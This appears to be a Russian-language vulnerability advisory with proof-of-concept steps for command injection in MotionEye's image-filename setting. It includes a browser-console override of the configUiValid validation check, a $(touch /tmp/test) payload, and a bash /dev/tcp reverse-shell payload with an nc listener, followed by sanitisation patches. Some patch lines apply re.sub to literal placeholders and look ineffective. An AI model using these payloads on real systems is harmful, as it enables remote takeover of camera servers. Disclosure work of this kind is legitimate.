
Шаги PoC для этой уязвимости
В ходе тестирования безопасности экземпляра MotionEye, работающего в Docker, было обнаружено, что валидацию на стороне клиента в веб-интерфейсе можно обойти. Это позволяет отправлять произвольные данные, включая полезные нагрузки, способные вызвать выполнение кода в контейнере хоста. Проблема создаёт риск удалённого выполнения кода (RCE) при эксплуатации.
Затронутые версии: все версии вплоть до 0.43.1b4 включительно
Статус исправления: исправление ещё не доступно. В этом бюллетене приведён обходной путь.
Ссылка на проект: https://github.com/motioneye-project/motioneye
CWE: CWE-20, CWE-78, CWE-116
CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H
CVSS: 7.2/10
ghcr.io/motioneye-project/motioneye:edge9999, проброшенный на порт контейнера 8765admin / пустой пароль (по умолчанию)Выполните следующую команду, чтобы начать загрузку Docker-образа и запустить контейнер
docker run -d --name motioneye -p 9999:8765 ghcr.io/motioneye-project/motioneye:edge
docker logs motioneye | grep "motionEye server"
Результат: сервер MotionEye 0.43.1b4

После запуска Docker-контейнера доступ к его оболочке можно получить с помощью следующих команд
docker exec -it motioneye /bin/bash
ls -la /tmp
Откройте веб-интерфейс по адресу:
http://127.0.0.1:9999
Логин: admin (пустой пароль)
Добавлена тестовая RTSP-сетевая камера.

В поле «Still Images» > «Image File Name» была введена вредоносная команда выполнения, но возникла ошибка валидации на стороне клиента.
$(touch /tmp/test).%Y-%m-%d-%H-%M-%S
Заблокировано валидацией на стороне клиента.

За валидацию отвечает следующий скрипт: /static/js/main.js?v=0.43.1b4, который ссылается на /static/js/ui.js?v=0.43.1b4 для реализации условий валидации.
Файл: /static/js/main.js?v=0.43.1b4 со ссылкой на /static/js/ui.js?v=0.43.1b4
function configUiValid() {
$('div.settings').find('.validator').each(function () { this.validate(); });
var valid = true;
$('div.settings input, select').each(function () {
if (this.invalid) { valid = false; return false; }
});
return valid;
}
Переопределив функцию configUiValid в консоли браузера, можно обойти все проверки валидации. Введите следующий фрагмент в консоль браузера (F12 или Ctrl+Shift+I)
configUiValid = function() {
return true;
};
Теперь полезную нагрузку можно вводить напрямую, без какой-либо валидации: задайте значения как указано ниже и примените настройки
Настройки:
$(touch /tmp/test).%Y-%m-%d-%H-%M-%S
Применено → файл создан с правами root.
простая генерация обратной оболочки (reverse shell):
Прослушиватель:
nc -lvnp 4444
Внедрённая полезная нагрузка:
$(python3 -c "import os;os.system('bash -c \"bash -i >& /dev/tcp/192.168.0.108/4444 0>&1\"')").%Y-%m-%d-%H-%M-%S
Результат: получена удалённая оболочка.
MotionEye уязвим, потому что принимает пользовательский ввод из веб-панели и записывает его напрямую в конфигурационные файлы Motion без проверки на опасные символы. Например, поле image_file_name в интерфейсе отправляется в бэкенд (config.py) и сохраняется в /etc/motioneye/camera-.conf. Когда MotionEye перезапускает службу Motion (motionctl.start), процесс Motion читает этот конфигурационный файл. Если поле picture_filename содержит shell-синтаксис, например $(touch /tmp/test), Motion выполнит его как настоящую команду вместо того, чтобы рассматривать как часть имени файла.
Несанитизированный ввод, записываемый в конфигурационные файлы Motion:
Dashboard JS → ConfigHandler.set_config() → camera-1.conf → motionctl.restart() → motion parses picture_filename → executes payload
Файл: /usr/local/lib/python3.13/dist-packages/motioneye/config.py
def sanitize_filename(value):
# allow only letters, numbers, %, _, -, /, .
for ch in value:
if not (ch.isalnum() or ch in "%-_/."):
return "%Y-%m-%d/%H-%M-%S" # safe fallback
return value
Примените санитизацию:
data['picture_filename'] = sanitize_filename(ui['image_file_name'])
data['snapshot_filename'] = sanitize_filename(ui['image_file_name'])
до:
после:

docker run -d --name motioneye -p 9999:8765 ghcr.io/motioneye-project/motioneye:edge
docker exec -it motioneye /bin/bash
docker cp motioneye:/usr/local/lib/python3.13/dist-packages/motioneye/config.py ./config.py
docker cp ./Mconfig.py motioneye:/usr/local/lib/python3.13/dist-packages/motioneye/config.py
Оригинал:
on_event_start = [f"{meyectl.find_command('relayevent')} start %t"]
on_event_end = [f"{meyectl.find_command('relayevent')} stop %t"]
on_movie_end = [f"{meyectl.find_command('relayevent')} movie_end %t %f"]
on_picture_save = [f"{meyectl.find_command('relayevent')} picture_save %t %f"]
Замените на:
import re
on_event_start = [f"{meyectl.find_command('relayevent')} start '{re.sub(r'[;&|$`()<>\"\\' ]', '', '%t')}'"]
on_event_end = [f"{meyectl.find_command('relayevent')} stop '{re.sub(r'[;&|$`()<>\"\\' ]', '', '%t')}'"]
on_movie_end = [f"{meyectl.find_command('relayevent')} movie_end '{re.sub(r'[;&|$`()<>\"\\' ]', '', '%t')}' '{re.sub(r'[;&|$`()<>\"\\' ]', '', '%f')}'"]
on_picture_save = [f"{meyectl.find_command('relayevent')} picture_save '{re.sub(r'[;&|$`()<>\"\\' ]', '', '%t')}' '{re.sub(r'[;&|$`()<>\"\\' ]', '', '%f')}'"]
docker restart motioneye
Внутри motion_camera_ui_to_dict(...):
Оригинал:
data['picture_filename'] = ui['image_file_name']
data['snapshot_filename'] = ui['image_file_name']
Замените на:
from re import sub
data['picture_filename'] = (sub(r'[^A-Za-z0-9._%/-]', '_', ui['image_file_name']).lstrip('/') or '%Y-%m-%d/%H-%M-%S')
data['snapshot_filename'] = (sub(r'[^A-Za-z0-9._%/-]', '_', ui['image_file_name']).lstrip('/') or '%Y-%m-%d/%H-%M-%S')